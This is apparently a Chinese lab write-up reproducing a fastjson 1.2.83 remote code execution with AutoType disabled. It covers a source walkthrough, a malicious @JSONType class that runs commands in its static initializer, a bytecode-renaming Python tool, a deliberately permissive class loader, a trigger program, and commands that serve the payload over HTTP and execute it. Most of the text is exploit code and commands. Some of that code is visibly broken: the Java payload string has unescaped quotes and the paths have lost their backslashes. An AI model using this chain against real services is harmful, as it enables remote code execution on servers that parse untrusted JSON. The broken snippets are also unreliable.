fastjson 1.2.83 RCE 复现
Fastjson 1.2.83 远程代码执行:AutoType 关闭下的 SSRF 到 RCE
环境:
jdk 8/17
fastjson 1.2.83
配置:关闭 AutoType
AutoType是什么:
fastjson 有个功能叫 AutoType。如果你的 JSON 里带有特殊的 @type 键,fastjson 解析JSON时就会把它的值当作一个 Java 类名,并创建这个类的实例。这就导致我们可以创建恶意类并将其实例化。
格式:
{"@type":"com.fearsoff.Test","name":"whatever"}
可是,在关闭 AutoType的情况下,fastjson 默认不再自动识别和处理 @type 字段。
源码分析:
我们看com.alibaba.fastjson.parser类的部分源码:
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class"; //将资源名的“.”替换为“/”
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource); //这里用getResourceAsStream读取resource
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) { //下面这一段作用是读取字节码判断是否有@JSONType注解,利用的时候自己写就行
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) {
// skip
} finally {
IOUtils.close(is);
}
if (autoTypeSupport || jsonType || expectClassFlag) { //由于我们写了@JSONType,jsonType为真进入下层
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); //加载类并返回
}
if (clazz != null) {
if (jsonType) {
if (autoTypeSupport) {
TypeUtils.addMapping(typeName, clazz);
}
return clazz;
}
可以看到即使是在关闭的情况下,也会用is = defaultClassLoader.getResourceAsStream(resource); 来处理我们传入的@type 字段我们看看getResourceAsStream方法的具体实现:
/**
* Returns an input stream for reading the specified resource.
*
* <p> The search order is described in the documentation for {@link
* #getResource(String)}. </p>
*
* <p> Resources in named modules are subject to the encapsulation rules
* specified by {@link Module#getResourceAsStream Module.getResourceAsStream}.
* Additionally, and except for the special case where the resource has a
* name ending with "{@code .class}", this method will only find resources in
* packages of named modules when the package is {@link Module#isOpen(String)
* opened} unconditionally. </p>
*
* @param name
* The resource name
*
* @return An input stream for reading the resource; {@code null} if the
* resource could not be found, the resource is in a package that
* is not opened unconditionally, or access to the resource is
* denied by the security manager.
*
* @throws NullPointerException If {@code name} is {@code null}
*
* @since 1.1
* @revised 9
*/
public InputStream getResourceAsStream(String name) {
Objects.requireNonNull(name);
URL url = getResource(name);
try {
return url != null ? url.openStream() : null;
} catch (IOException e) {
return null;
}
}
作用是根据资源名称,返回一个可以读取该资源的 InputStream,如果资源不存在或无法访问,返回 null。而且,它支持使用url加载资源,也就是说我们可以通过它访问我们的服务器来下载恶意字节码。不过需要注意由于.会被替换为/,所以域名不能含有.。我们用IP 地址的整数形式绕过。如127.0.0.1 写成一个整数就是 2130706433。我们就可以写:{"@type":"http://2130706433:31337/probe"}。而且后面我们可以看到,由于在字节码里写了@JSONType,条件判断为真,会加载并实例化我们传入的字节码。不过需要注意,一些classloader(如高版本jdk等原因)不支持://这样的双/出现,会加载错误,但是可以去/proc/self/fd访问到被下载但是定义错误的字节码,由此达成rce。
/proc/self/fd:
当 JVM 通过 jar:http 下载一个远程 jar 时,它并不是流式读取,而是把整个文件保存到一个临时文件 /tmp/jar_cache<随机>.tmp,打开它,然后在保持打开的同时把这个文件从磁盘上删除。文件从目录列表里消失了,但通过那个仍然打开的文件描述符依然完全可读。在 Linux 上,一个打开的描述符 N 可以通过 /proc/self/fd/N 访问到。
复现过程:
jdk 8,windows环境:
目录结构:
vuln-lab/
├── lib/ ← 放 fastjson 依赖
├── payload/ ← 恶意字节码(攻击者服务器要发的文件)
├── patch.py ← 补丁工具
└── demo/ ← 漏洞触发代码
恶意类 Evil.java:我们传给目标的恶意类,实例化自动执行恶意代码
import com.alibaba.fastjson.annotation.JSONType;
@JSONType
public class Evil {
static {
System.out.println("[EVIL] <clinit> executing!");
try {
boolean win = System.getProperty("os.name").toLowerCase().contains("win");
Process p = win
? Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "calc.exe"})
: Runtime.getRuntime().exec(new String[]{"sh", "-c", "echo calc-demo"});
System.out.println("[EVIL] exec exit=" + p.waitFor());
} catch (Exception e) {
e.printStackTrace();
}
}
public Evil() {
}
}
工具 patch.py:直接跑会得到 NoClassDefFoundError: ... (wrong name: Evil) —— JVM 要求请求类名和字节码内部名一致。这个py脚本用于改类内部名
#!/usr/bin/env python3
"""常量池感知的类名重命名: 把 this_class 的 UTF8 换成任意长度的新名字"""
import struct
import sys
def patch(in_path, out_path, new_name):
data = bytearray(open(in_path, 'rb').read())
old_name = new_name.split('/')[-1] # 约定: 新名最后一段 == 原类名
p = 8 # 跳过 magic(4) + 版本(4)
cp_count = struct.unpack('>H', data[p:p + 2])[0]
p += 2
pool = bytearray(struct.pack('>H', cp_count))
replaced = False
idx = 1
while idx < cp_count:
tag = data[p]
if tag == 1: # CONSTANT_Utf8: tag(1) + 长度(2) + 内容
ln = struct.unpack('>H', data[p + 1:p + 3])[0]
s = data[p + 3:p + 3 + ln].decode('utf-8')
if not replaced and s == old_name:
s = new_name
replaced = True
b = s.encode('utf-8')
pool += bytes([1]) + struct.pack('>H', len(b)) + b
p += 3 + ln
elif tag in (3, 4): # Integer/Float: 5 字节
pool += data[p:p + 5]; p += 5
elif tag in (5, 6): # Long/Double: 9 字节, 占 2 个槽位
pool += data[p:p + 9]; p += 9; idx += 1
elif tag in (7, 8): # Class/String: 3 字节
pool += data[p:p + 3]; p += 3
elif tag in (9, 10, 11, 12): # Fieldref/Methodref/...: 5 字节
pool += data[p:p + 5]; p += 5
elif tag == 15: # MethodHandle: 4 字节
pool += data[p:p + 4]; p += 4
elif tag == 16: # MethodType: 3 字节
pool += data[p:p + 3]; p += 3
elif tag in (17, 18): # Dynamic/InvokeDynamic: 5 字节
pool += data[p:p + 5]; p += 5
elif tag in (19, 20): # Module/Package: 4 字节
pool += data[p:p + 4]; p += 4
else:
raise Exception('unknown tag %d' % tag)
idx += 1
if not replaced:
raise Exception('"%s" not found in pool' % old_name)
open(out_path, 'wb').write(data[:8] + pool + data[p:])
print('[+] patched: %s -> %s' % (old_name, new_name))
if __name__ == '__main__':
patch(sys.argv[1], sys.argv[1], sys.argv[2])
加载器 RemoteLoader.java:模拟 Spring Boot
模拟较为宽松的类加载器环境
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
public class RemoteLoader extends URLClassLoader {
public RemoteLoader(ClassLoader parent) {
super(new URL[0], parent);
}
@Override
public InputStream getResourceAsStream(String name) {
InputStream local = super.getResourceAsStream(name); // 本地 classpath 优先
if (local != null) return local;
try {
if (name.startsWith("http://") || name.startsWith("jar:")) {
return new URL(name).openStream(); // ← SSRF 就在这里发生
}
} catch (Exception e) { }
return null;
}
@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
Class<?> loaded = findLoadedClass(name);
if (loaded != null) return loaded;
if (name.startsWith("http:") || name.startsWith("jar:")) {
try {
String path = name.replace('.', '/') + ".class";
try (InputStream is = new URL(path).openStream()) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[4096];
int n;
while ((n = is.read(buf)) != -1) bos.write(buf, 0, n);
byte[] bytes = bos.toByteArray();
return defineClass(name, bytes, 0, bytes.length); // ← 加载点
}
} catch (Exception e) {
throw new ClassNotFoundException(name, e);
}
}
return super.loadClass(name, resolve);
}
}
}
漏洞触发脚本: VulnDemo.java(触发json解析进而触发漏洞)
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.lang.reflect.Field;
public class VulnDemo {
public static void main(String[] args) throws Exception {
// ① payload: 127.0.0.1 写成整数 2130706433 (点号会被 replace('.','/') 破坏)
// ".." 就是 "//" 的编码
String payload = "{"@type":"http:..2130706433:19090.Evil"}";
System.out.println("[*] payload = " + payload);
// ② 把 fastjson 的默认类加载器换成远程加载器 (模拟 Spring Boot 环境)
Field f = ParserConfig.class.getDeclaredField("defaultClassLoader");
f.setAccessible(true);
f.set(ParserConfig.getGlobalInstance(),
new RemoteLoader(VulnDemo.class.getClassLoader()));
System.out.println("[*] defaultClassLoader = RemoteLoader");
// ③ 触发漏洞 —— 解析过程即攻击过程
Object result = JSON.parse(payload);
System.out.println("[*] parsed = " + result);
}
}
一个一键执行的命令行:
rem ===== ① 编译恶意类 (JDK 8!) =====
cd payload
"D:agentfastjson-1.2.83-rce-labaudittemurin8jdk8u502-b07binjavac" -encoding UTF-8 -cp ..libfastjson-1.2.83.jar Evil.java
rem ===== ② 打补丁: 把内部名改成 URL 形态 =====
py ..patch.py Evil.class http://2130706433:19090/Evil
rem ===== ③ 起恶意字节码服务 (新开一个 cmd 窗口, 保持运行) =====
py -m http.server 19090
rem ===== ④ 编译漏洞触发代码 =====
cd ..demo
"D:agentfastjson-1.2.83-rce-labaudittemurin8jdk8u502-b07binjavac" -encoding UTF-8 -d . -cp ..libfastjson-1.2.83.jar VulnDemo.java RemoteLoader.java
rem ===== ⑤ 运行 → 计算器弹出! =====
"D:agentfastjson-1.2.83-rce-labaudittemurin8jdk8u502-b07binjava" -cp ".;..libfastjson-1.2.83.jar" VulnDemo
完成复现:
